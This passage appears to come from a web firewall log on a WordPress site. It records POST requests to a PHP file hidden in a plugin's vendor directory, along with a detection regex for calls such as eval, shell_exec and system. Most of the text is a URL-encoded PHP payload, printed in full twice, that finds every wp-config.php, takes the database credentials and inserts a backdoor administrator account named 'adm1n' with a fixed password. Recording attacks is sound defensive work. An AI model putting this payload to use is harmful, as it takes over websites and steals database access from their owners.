0%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=8b80dc9ac74ec10112f02e5d68c79df0; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\n\nGe=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:21:38","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%